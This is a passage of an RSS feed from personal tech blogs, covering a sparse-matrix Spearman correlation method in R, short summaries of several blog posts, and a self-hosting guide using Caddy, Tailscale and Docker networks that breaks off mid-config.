style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathbf">X</span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathbf" style="margin-right:0.02875em;">Y</span></span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8360000000000001em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mpunct">,</span></span></span><span style="top:-3.0555em;"><span class="pstrut" style="height:3.427em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord"><span class="mord mathbb">E</span></span><span class="mopen">[</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord"><span class="mord mathbb">E</span></span><span class="mopen">[</span><span class="mord mathdefault" style="margin-right:0.07847em;">X</span><span class="mclose">]</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mpunct">,</span></span></span><span style="top:-1.5313919999999994em;"><span class="pstrut" style="height:3.427em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord"><span class="mord mathbb">E</span></span><span class="mopen">[</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.22222em;">Y</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord"><span class="mord mathbb">E</span></span><span class="mopen">[</span><span class="mord mathdefault" style="margin-right:0.22222em;">Y</span><span class="mclose">]</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord">.</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.5556080000000008em;"><span></span></span></span></span></span></span></span></span></span></span></span></p>

<p>The spearman correlation on the other hand asseses if the relationship between $\textit{X,Y}$ is monotonic (either increasing or decreasing). It is equivalent to running pearson correlation 
between the ranks of values in $X$ and $Y$ instead of the actual value themselves. So it essentially asks if $X$ is increasing (decreasing) would values in $Y$ would be increasing (decreasing)
as well? A perfect score of 1 (-1) would result in a yes (no). Both the types of correlation are often employed in genomics to assess relationship between two variables of interest.</p>

<p>One particular context, where correlations are employed is in multi-omics experiments, say where we are profiling RNA and open chromatin regions (ATAC) in the same cells. For example, 
a recent study used correlations to find potential gene-enhancer links <a class="citation" href="#ma2020chromatin">(Ma et al., 2020)</a>. The idea is simple: we have a bunch of cells
in which we simultaneously profiled both the transcriptome (RNA) and the open chromatin regions (ATAC). We then ask, for each gene, which open chromatin regions are highly correlated (after 
necessary adjustment for background) to predict potential gene-enhancer links. The default correlation function in <a href="https://www.rdocumentation.org/packages/stats/versions/3.6.2/topics/cor">R</a> 
<code> cor(RNA, ATAC, method="pearson") </code> or <code>cor(RNA, ATAC, method="spearman") </code> would ideally be sufficient to do this.  Here, <code>RNA</code> and <code>ATAC</code> 
are vectors of equal length with entries summarizing the transcriptome signal and ATAC signal at a gene and potential enhancer, respectively.</p>

<p>However, both RNA and ATAC matrices are often <a href="https://www.rdocumentation.org/packages/Matrix/versions/1.4-0/topics/sparseMatrix">sparse matrices</a>, i.e. they have lots of entries that zeroes,
which are not explicitly stored to save space. The default <code class="language-plaintext highlighter-rouge">cor()</code> method does not work on sparse matrices. The problem here is a simple one then: convert the RNA and ATAC sparse matrices to a usual (dense) matrix using <code class="language-plaintext highlighter-rouge">as.matrix()</code>
and run the correlation function. However, converting to denser matrix format will take loads of memory, especially if you are searching for link between 10,000 genes and say only about 5,000
potential enhancers in around 10,000 cells all at once, parallely.</p>

<h2>Sparsity makes it easier </h2>

<p>The solution to avoid this is rather easy and has been previously <a href="https://stackoverflow.com/questions/5888287/running-cor-or-any-variant-over-a-sparse-matrix-in-r">discussed</a> for pearson correlation.
A detailed description is available in the <a href="https://www.rdocumentation.org/packages/qlcMatrix/versions/0.9.7/topics/corSparse">documentation</a> of <code class="language-plaintext highlighter-rouge">qlcMatrix::corSparse()</code>. 
But in short, the idea is to utilize the sparsity in a vector and avoid doing operations that would make a sparse matrix dense. For example, the variance calulation for a sparse vect the essential idea here is that we do not want to lose the sparsity
structure during our calculations. For example, for a sparse vector, if we are interested in calculating the variance $Var(X) = \mathbb{E}[(X-\mathbb{E}[X])^2]$, if we do the $X-\mathbb{E}[X]$ operation first,
the sparsity structure of X is now destroyed and we land up with a dense matrix. Instead, we can use the fact that the variance can equivalentyl be written as $\text{Var}(X) = \mathbb{E}[X^2] - E[X]^2$, retaining the sparity
throughout. That solves our problem of calculating pearson correlation on sparse vectors (or matrices).</p>

<p>The next question is then, what about sparse matrices and spearman correlation? <code>cor(X, Y, kind="spearman") </code> does not work for sparse matrices and we do not want to convert them to dense form.
The solution is again simple, but took me a while to figure out. A naive idea would be to use the definition of spearman correlation - we calculate ranks of $X$ and $Y$ and then run it through <code>cor()</code>
with <code>method="spearman"</code> as the ranks are not sparse. The problem however is again the same - the rank matrix is not sparse. But if you think about ranks in a sparse matrix, it does have some
interesting properties that we can utilize to make it sparse.</p>

<p>We can look at a sparse vector for an example. Consider a vector <code> y &lt;- c(0,0,0,42,21,10) </code> with 3 non zero entries. We will use $n_z$ to denote the number of non-zero
entries in a vector. But if we know the number of non-zero entries, we also know what these ranks are going to be - they are fixed. 
For a vector with $n_z$ entries, the <code>rank(ties.method="average")</code> method will set them all to $\frac{1}{n_z}\sum_{i=1}^{n_z} i = \frac{(n_z+1)}{2}$. We also know that the lowest non-zero entry in such a vector would have a
rank of $(n_z+1)$. For example, rank vector <code> rank(y) = c(2,2,2,6,5,4) </code> - by default the ranks of tied entries are averaged. So the rank of 0s is $\frac{1+2+3}{3}= \frac{(n_z+1)}{2}$. Our rank vector 
is not sparse, but we can retain its sparsity if we were to subtract $\frac{(n_z+1)}{2}$ from each of the entries. Since a shift operation will not change the (co)variance, the variance of 
<code>c(0,0,0,4,3,2) </code> which we called the “sparsified rank vector” is the same as original rank vector <code>c(2,2,2,6,5,4)</code>. So we should aim to get our “sparsified rank” vector somehow.</p>

<p>The trick to arrive at “sparsified rank” vector is to use calculate ranks on the non-zero entries in our vector. We will forget about the zero entries in such a vector and only focus on the non-zero entries - they are few and it is fast to calculate ranks of just these. 
In this version of the vector (where there are no zeros) the lowest non-zero entry has a rank of $1$ (assuming there are no ties, but the following arguments hold without loss of generality). To arrive at the “sparsified rank” vector,
we subtracted $\frac{(n_z+1)}{2}$ from the original rank vector, so the non-zero entry’s rank will now be $n_z  + 1 - \frac{(n_z+1)}{2} = 1 + \frac{n_z}{2} - \frac{1}{2}$ which is equivalent to adding $\frac{(n_z-1)}{2}$ to the rank of the 
non-zero entries! By this way, we retain the sparsity in ranks and can then just use <code class="language-plaintext highlighter-rouge">corSparse()</code> to calculate pearson correlation on sparsified rank vectors, resulting in spearman correlation.</p>

<p><del>While this approach is memory efficient, it unfortunately is not always the fastest</del>. See <a href="https://github.com/saketkc/blog/blob/main/2022-03-09/SparseSpearmanCorrelation.ipynb">this notebook</a> for some time benchmarks. I did not explicitly
perform memory benchmarks.</p>

<p><b>Update: </b> The approach is both memory efficient and fast. See <a href="https://saket-choudhary.me/blog/2022/03/10/fast-sparsespearman/">an updated post</a> and <a href="https://github.com/saketkc/blog/blob/main/2022-03-10/SparseSpearmanCorrelation2.ipynb">associated notebook</a></p>

<h2>Example</h2>

<p><code> y &lt;- c(0,0,0,42,21,10) </code></p>

<p><code> rank(y) = c(2,2,2,6,5,4) </code></p>

<p><code> sparsified_rank(y) &lt;- c(0,0,0,4,3,2) </code> (Subtract $\frac{(n_z+1)}{2}=2$ from all entries to make the previous vector a sparse vector)</p>

<p><code> rank(y[y!=0]) = rank(c(42,21,10)) = c(3,2,1) </code>.</p>

<p>If we now add $\frac{(n_z-1)}{2} = \frac{(3-1)}{2}$ to all the entries of the last vector, we get <code> c(4,3,2) </code> which are the non-zero ranks
from our &lt;code&lt;sparisifed_rank&lt;/code&gt; vector which will be the input to <code class="language-plaintext highlighter-rouge">corSparse</code>.</p>

<hr />]]></content:encoded>
            <author>Saket Choudhary</author>
        </item>
        <item>
            <title><![CDATA[shite: static sites from shell (part 1/2) — feeling the html.energy]]></title>
            <link>https://www.evalapply.org/posts/shite-the-static-sites-from-shell-part-1/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/shite-the-static-sites-from-shell-part-1/index.html</guid>
            <pubDate>Tue, 08 Mar 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[This primer is for people like me, who long dreamed of lovingly hand-crafting our own home on the Internet. We begin our quest by seeing, feeling, and harnessing pure HTML.energy.]]></description>
            <content:encoded><![CDATA[This primer is for people like me, who long dreamed of lovingly hand-crafting our own home on the Internet. We begin our quest by seeing, feeling, and harnessing pure HTML.energy.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>design</category>
            <category>websites</category>
            <category>frontend</category>
            <category>web_development</category>
            <category>bash</category>
            <category>howto</category>
            <category>whyto</category>
        </item>
        <item>
            <title><![CDATA[FOMO? YAMO.]]></title>
            <link>https://nadh.in/blog/fomo-yamo/</link>
            <guid isPermaLink="false">https://nadh.in/blog/fomo-yamo/</guid>
            <pubDate>Wed, 02 Mar 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[A whole new way of seamlessly “hydrating” and building “reactive” webpages, proclaim the dozen new Javascript frameworks that offer slightly different ways of manipulating DOM; new stacks for generating static webpages from templates; new ways of deploying “no-code” apps to “serverless edges”; memory-safe languages that enable error-free programs; NoSQL databases that offer unlimited scalability; CSS frameworks that forever change how webpages are styled; new paradigms of visualizing programs as containers and not processes, container orchestration and not process management; functional programming over imperative over object oriented; “AI/ML” for whatever one pleases … magic bullets for everything.]]></description>
            <content:encoded><![CDATA[<p>A whole new way of seamlessly &ldquo;hydrating&rdquo; and building &ldquo;reactive&rdquo; webpages, proclaim the dozen new Javascript frameworks that offer slightly different ways of manipulating DOM; new stacks for generating static webpages from templates; new ways of deploying &ldquo;no-code&rdquo; apps to &ldquo;serverless edges&rdquo;; memory-safe languages that enable error-free programs; NoSQL databases that offer unlimited scalability; CSS frameworks that forever change how webpages are styled; new paradigms of visualizing programs as containers and not processes, container orchestration and not process management; functional programming over imperative over object oriented; &ldquo;AI/ML&rdquo; for whatever one pleases &hellip; magic bullets for everything.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[Announcement: Became a Member of Indian Pirates]]></title>
            <link>https://ravidwivedi.in/posts/indian-pirates-membership/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/indian-pirates-membership/</guid>
            <pubDate>Tue, 01 Mar 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[I am happy to announce that I became a permanent member of Indian Pirates a few days ago. Indian Pirates is a decentralized group which aims to be a political party someday and contest elections to form a government. I hope to bring some change politically to improve our lives. The group seeks long term change which means that we are not thinking that we will change the world in day or in one year, but rather understanding the roots of the problems in society and how it is structured and solve the problems by the root itself.
It is only an announcement post and I want to keep it short. Good Bye. And see you in the next post.]]></description>
            <content:encoded><![CDATA[<p>I am happy to announce that I became a permanent member of <a href="https://pirates.org.in">Indian Pirates</a> a few days ago. Indian Pirates is a decentralized group which aims to be a political party someday and contest elections to form a government. I hope to bring some change politically to improve our lives. The group seeks long term change which means that we are not thinking that we will change the world in day or in one year, but rather understanding the roots of the problems in society and how it is structured and solve the problems by the root itself.</p>
<p>It is only an announcement post and I want to keep it short. Good Bye. And see you in the next post.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Dismal Arithmetic in Dyalog APL and Clojure]]></title>
            <link>https://www.evalapply.org/posts/dismal-arithmetic-dyalog-apl-clojure/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/dismal-arithmetic-dyalog-apl-clojure/index.html</guid>
            <pubDate>Fri, 25 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Dismal arithmetic is just like the arithmetic you learned in school, only simpler: there are no carries, when you add digits you just take the largest, and when you multiply digits you take the smallest. How does code look in the two languages I like a lot; Clojure and APL?]]></description>
            <content:encoded><![CDATA[Dismal arithmetic is just like the arithmetic you learned in school, only simpler: there are no carries, when you add digits you just take the largest, and when you multiply digits you take the smallest. How does code look in the two languages I like a lot; Clojure and APL?]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>clojure</category>
            <category>apl</category>
            <category>functional_programming</category>
            <category>riff</category>
        </item>
        <item>
            <title><![CDATA[Shell ain't a bad place to FP: part 0/N: Introduction]]></title>
            <link>https://www.evalapply.org/posts/shell-aint-a-bad-place-to-fp-part-0-intro/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/shell-aint-a-bad-place-to-fp-part-0-intro/index.html</guid>
            <pubDate>Wed, 23 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Or, *Supremely Functional Bash Programming*, an exploration in N parts...]]></description>
            <content:encoded><![CDATA[Or, *Supremely Functional Bash Programming*, an exploration in N parts...]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>bash</category>
            <category>unix</category>
            <category>functional_programming</category>
            <category>architecture</category>
        </item>
        <item>
            <title><![CDATA[What makes Functional Programs and Systems "Functional"?]]></title>
            <link>https://www.evalapply.org/posts/what-makes-functional-programming-systems-functional/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/what-makes-functional-programming-systems-functional/index.html</guid>
            <pubDate>Tue, 22 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[In which we ponder the Functional Nature of Life, The Universe, and Everything. Please feel free to follow through the weeds, or jump straight to the bottom for my 2 nano BTC on the matter. (Or my current state of mind, at any rate.)]]></description>
            <content:encoded><![CDATA[In which we ponder the Functional Nature of Life, The Universe, and Everything. Please feel free to follow through the weeds, or jump straight to the bottom for my 2 nano BTC on the matter. (Or my current state of mind, at any rate.)]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>meta</category>
            <category>functional_programming</category>
            <category>architecture</category>
            <category>systems</category>
        </item>
        <item>
            <title><![CDATA[Baby don't hurry, don't stop (feat. Melancholy)]]></title>
            <link>https://www.evalapply.org/posts/dont-hurry-dont-stop-sad-version/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/dont-hurry-dont-stop-sad-version/index.html</guid>
            <pubDate>Mon, 14 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Here lies melancholy that I put to paper from a particularly deep hole, not too long ago. It may ruin your day, or it may make you feel a little bit understood about your dark moments. Your mileage will vary.]]></description>
            <content:encoded><![CDATA[Here lies melancholy that I put to paper from a particularly deep hole, not too long ago. It may ruin your day, or it may make you feel a little bit understood about your dark moments. Your mileage will vary.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>meta</category>
            <category>mentalhealth</category>
        </item>
        <item>
            <title><![CDATA[people > culture > values > strategy > technology]]></title>
            <link>https://www.evalapply.org/posts/people-culture-values-strategy-technology/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/people-culture-values-strategy-technology/index.html</guid>
            <pubDate>Fri, 11 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Technology is—and ought to be—the /byproduct/ of far more important, powerful, and deep-rooted aspects of organisations — including wholesale societies. The pandemic of technology-solutionism gleefully embraced and amplified by all and sundry makes me believe that people seem to have decided it's the other way around.]]></description>
            <content:encoded><![CDATA[Technology is—and ought to be—the /byproduct/ of far more important, powerful, and deep-rooted aspects of organisations — including wholesale societies. The pandemic of technology-solutionism gleefully embraced and amplified by all and sundry makes me believe that people seem to have decided it's the other way around.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>organisation_design</category>
            <category>systems</category>
            <category>culture</category>
        </item>
        <item>
            <title><![CDATA[Poor man's Reader App with Pandoc & Bash]]></title>
            <link>https://www.evalapply.org/posts/reader-app-pandoc-bash/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/reader-app-pandoc-bash/index.html</guid>
            <pubDate>Thu, 10 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Every so often, I want to avoid opening a website in a browser, for ... reasons.]]></description>
            <content:encoded><![CDATA[Every so often, I want to avoid opening a website in a browser, for ... reasons.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>functional_programming</category>
            <category>bash</category>
            <category>unix</category>
            <category>riff</category>
        </item>
        <item>
            <title><![CDATA[How I expose services while self hosting]]></title>
            <link>https://mrkaran.dev/posts/exposing-services/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/exposing-services/</guid>
            <pubDate>Thu, 10 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[I’ve often been asked how to expose public and private services running on DigitalOcean droplets/RPis when self hosting apps. Most people don’t have access to a static IP for their RPis. I felt I’d summarize my approach to this in this blog post and hope it’ll be useful for others trying to do the same.
Tools I use#
Tailscale: I love this and I’ve written about it in the past. I am one of the early adopters, using this for 2 years now and while it can be replaced with other similar Wireguard based mesh services that have popped up recently, I still like the UX of this application a lot. In simpler words, it just works!
Caddy: I use Caddy as a webserver to host some static websites and as a reverse proxy for all the applications I’ve deployed. It makes the SSL setup a breeze, the config is nice to read as well. There’s nothing about Caddy to not like it if you’re not in the business of dealing with super high concurrent traffic on your website (in which case NGINX/HAProxy/Envoy et al might be worth looking at). I’ve never used Traefik myself, and while I know it makes the routing simple with Docker labels, I think my current approach with Caddy is also similar and easier for me to use without having to learn a new config.
Docker: All the services are containerized and I make special use of Docker networks, which I’ll show in the post.
Setup Overview#

I use 2 instances of Caddy for my setup:
Public: This is to reverse proxy all the public-facing websites.
Private: This is to reverse proxy all the internal websites.
The docker-compose looks like this:
version: "3.7"

services:
  caddy_public:
    ...
    ports:
      - "<do_floating_ip>:80:80"
      - "<do_floating_ip>:443:443"
    networks:
      - public
    ...

  caddy_internal:
    ...
    ports:
      - "100.111.91.100:80:80"
      - "100.111.91.100:443:443"
    networks:
      - internal
    ...

networks:
  public:
    name: caddy_public
  internal:
    name: caddy_internal
This is where most of the magic lies. I use 2 Docker networks caddy_public and caddy_internal. Both these networks are configured as Bridge Networks. The containers connected to the same bridge network can even reach other containers using internal DNS.
The published port section is the one of importance here.
In the internal caddy instance, the TCP port 80 in the container is mapped to port 80 on the Docker host for connections to host IP 100.111.91.100 (this is a private IP and belongs to the CGNAT space). The same is done for caddy_public where instead of Tailscale IP, the Floating IP of the DigitalOcean droplet is used.
Next comes the part where we’ll attach these networks to our applications. docker-compose by default creates a user-defined bridge network if you leave networks unspecified. However, if you want more granular control, you can specify the networks in the Compose spec itself.
Here’s an example of Plausible compose spec which is exposed publicly:
  plausible_events_db:
    image: yandex/clickhouse-server:21.3.2.5
    networks:
      - plausible

  plausible:
    image: plausible/analytics:latest
    networks:
      - web
      - plausible

networks:
  web:
    name: caddy_public
    external: true
  plausible:
    name: plausible
Here you can see that the ClickHouse container is only attached to the plausible network. This plausible network is scoped only to these services defined in this file.
We can exec inside the caddy_public container and find out the IP of plausible and verify if the network is correctly configured and reachable:
$ host plausible
plausible has address 172.20.0.3
$ curl plausible:8000
<html><body>You are being <a href="/login">redirected</a>.</body></html>/srv # 
Some notes on this setup:
You’ll also note that I haven’t published the port 8000 anywhere. Publishing is only required if you want to forward the traffic from your host network to the docker network (via the bridge). But here, since both are attached to the same network (caddy_public), that is not required anymore.
This also means that the only way someone can reach port 8000 on Plausible is only via the Caddy container (which is firewall restricted to Cloudflare IPs.)
The DB container doesn’t need to be accessed at all from Caddy, so we’ve not attached the web network there
Here’s another example of exposing an internal service, which works on the same principles:
  grafana:
    image: grafana/grafana:8.3.4
    networks:
      - monitoring
      - internal

networks:
  internal:
    name: caddy_internal
    external: true
  monitoring:
    name: monitoring
Here, the Grafana container is attached to caddy_internal network. Since the caddy_internal container only publishes ports on the Tailscale IP, anyone who is not inside the Tailscale network will not be able to access this. Tailscale can do much more by setting up ACL rules per device for each user, but since I am the only user, I’ve not configured ACL rules on it yet.
Hope this approach was simplistic enough. I follow this pattern across all the applications I self-host and honestly pretty happy with it
Fin!]]></description>
            <content:encoded><![CDATA[<p>I’ve often been asked how to expose public and private services running on DigitalOcean droplets/RPis when self hosting apps. Most people don’t have access to a static IP for their RPis. I felt I’d summarize my approach to this in this blog post and hope it’ll be useful for others trying to do the same.</p>
<h3 id="tools-i-use">Tools I use<a class="zola-anchor" href="#tools-i-use" aria-label="Anchor link for: tools-i-use">#</a></h3>
<ul>
<li><a rel="external" href="https://tailscale.com/">Tailscale</a>: I love this and I’ve <a rel="external" href="https://mrkaran.dev/posts/home-server-updates/">written about it in the past</a>. I am one of the early adopters, using this for 2 years now and while it can be replaced with other similar Wireguard based mesh services that have popped up recently, I still like the UX of this application a lot. In simpler words, <em>it just works!</em></li>
<li><a rel="external" href="https://caddyserver.com/">Caddy</a>: I use Caddy as a webserver to host some static websites and as a reverse proxy for all the applications I’ve deployed. It makes the SSL setup a breeze, the config is nice to read as well. There’s nothing about Caddy to not like it if you’re not in the business of dealing with super high concurrent traffic on your website (in which case NGINX/HAProxy/Envoy et al might be worth looking at). I’ve never used Traefik myself, and while I know it makes the routing simple with Docker labels, I think my current approach with Caddy is also similar and easier for me to use without having to learn a new config.</li>
<li><a rel="external" href="https://www.docker.com/">Docker</a>: All the services are containerized and I make special use of Docker networks, which I’ll show in the post.</li>
</ul>
<h2 id="setup-overview">Setup Overview<a class="zola-anchor" href="#setup-overview" aria-label="Anchor link for: setup-overview">#</a></h2>
<p><img src="https://mrkaran.dev/images/selfhosted-networking-setup.png" alt="image" /></p>
<p>I use 2 instances of Caddy for my setup:</p>
<ul>
<li>Public: This is to reverse proxy all the public-facing websites.</li>
<li>Private: This is to reverse proxy all the internal websites.</li>
</ul>
<p>The <code>docker-compose</code> looks like this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">v</span><span style="color: light-dark(#22863A, #8DDB8C);">ersion</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">3.7</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">s</span><span style="color: light-dark(#22863A, #8DDB8C);">ervices</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  c</span><span style="color: light-dark(#22863A, #8DDB8C);">addy_public</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    ...</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">orts</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&lt;do_floating_ip&gt;:80:80</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&lt;do_floating_ip&gt;:443:443</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">etworks</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">ublic</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    ...</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  c</span><span style="color: light-dark(#22863A, #8DDB8C);">addy_internal</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    ...</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    p</span><span style="color: light-dark(#22863A, #8DDB8C);">orts</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">100.111.91.100:80:80</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">100.111.91.100:443:443</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">etworks</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> i</span><span style="color: light-dark(#032F62, #96D0FF);">nternal</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    ...</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">n</span><span style="color: light-dark(#22863A, #8DDB8C);">etworks</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  p</span><span style="color: light-dark(#22863A, #8DDB8C);">ublic</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">addy_public</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  i</span><span style="color: light-dark(#22863A, #8DDB8C);">nternal</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">addy_internal</span></span></code></pre>
<p>This is where most of the magic lies. I use 2 Docker networks <code>caddy_public</code> and <code>caddy_internal</code>. Both these networks are configured as Bridge Networks. The containers connected to the same bridge network can even reach other containers using internal DNS.</p>
<p>The <em>published</em> port section is the one of importance here.</p>
<p>In the <code>internal</code> caddy instance, the TCP port 80 in the container is mapped to port 80 on the Docker host for connections to host IP <code>100.111.91.100</code> (this is a private IP and belongs to the <a rel="external" href="https://tailscale.com/kb/1015/100.x-addresses/">CGNAT space</a>). The same is done for <code>caddy_public</code> where instead of Tailscale IP, the Floating IP of the DigitalOcean droplet is used.</p>
<p>Next comes the part where we’ll attach these networks to our applications. <code>docker-compose</code> by default creates a user-defined bridge network if you leave <code>networks</code> unspecified. However, if you want more granular control, you can specify the networks in the Compose spec itself.</p>
<p>Here’s an example of <code>Plausible</code> compose spec which is exposed publicly:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  p</span><span style="color: light-dark(#22863A, #8DDB8C);">lausible_events_db</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> y</span><span style="color: light-dark(#032F62, #96D0FF);">andex/clickhouse-server:21.3.2.5</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">etworks</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">lausible</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  p</span><span style="color: light-dark(#22863A, #8DDB8C);">lausible</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">lausible/analytics:latest</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">etworks</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> w</span><span style="color: light-dark(#032F62, #96D0FF);">eb</span></span>
